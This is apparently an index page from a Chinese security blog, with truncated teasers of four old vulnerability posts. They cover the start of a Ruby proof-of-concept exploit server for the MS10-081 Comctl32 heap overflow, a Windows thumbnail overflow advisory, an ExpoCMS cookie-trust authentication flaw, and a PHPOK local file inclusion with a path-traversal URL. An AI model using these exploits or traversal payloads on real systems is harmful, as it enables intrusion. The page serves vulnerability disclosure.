MS10-081 网马 - Windows Comctl32 溢出

老系统内容 Windows 溢出
约 460 字 预计阅读 1 分钟
MS10-081: Windows Common Control Library (Comctl32) Heap Overflow，MS10-081 网马： #!/usr/bin/env ruby   # http://breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept # Nephi Johnson require 'socket' def http_send(sock, data, opts={})     defaults = {:code=>"200", :message=>"OK", :type=>"text/html", :desc=>"content"}     opts = defaults.merge(opts)         code = opts[:code]     message = opts[:message]     type = opts[:type]         date_str = Time.now.gmtime.strftime("%a,
阅读全文

【漏洞】Windows 缩略视图栈缓冲区溢出

老系统内容 Windows 缓冲区 漏洞 溢出
约 1238 字 预计阅读 3 分钟
Microsoft Windows "CreateSizedDIBSECTION()" 缩略视图栈缓冲区溢出漏洞 受影响系统：     Microsoft Windows XP Professional     Microsoft Windows Vista SP2     Microsoft Windows Vista SP1     Microsoft Windows Vista      Microsoft Windows Server 2008     Microsoft Windows Server 2003 描述：     Microsoft Windows的Windows
阅读全文

ExpoCMS展览会行业网站系统后台验证漏洞

老系统内容 CMS EXP POC 后台 漏洞 网站 系统
约 253 字 预计阅读 1 分钟
/admin/CheckLogin.asp： <% Response.Buffer = True Response.Expires = -1 Response.ExpiresAbsolute = Now() - 1 Response.Expires = 0 Response.CacheControl = "no-cache" Session.CodePage = 65001 Response.Charset = "UTF-8" UserName=Request.Cookies("CNVP_CMS2")("UserName") '在cookie中取username值 If UserName="" Then Response.Redirect("Admin_Login.asp")
阅读全文

PHPOK V3.0 企业站程序本地文件包含漏洞

老系统内容 PHP 本地 程序 漏洞 企业 文件 文件包含
约 53 字 预计阅读 1 分钟
    http://127.0.0.1/index.php?c=js&f=index&act=/../123 看代码： app\www\control\js.php function index_f()         {                 $act = $this->trans_lib->safe("act");                 if(file_exists(ROOT_JS.$act.".php"))                 {                         include(ROOT_JS.$act.".php");                 }                 else                 {                         echo "ERROR";                 }                 exit();         }     刚看了一下后台，没发现可利用地方，虽然已经达成加载全局函数条件。
阅读全文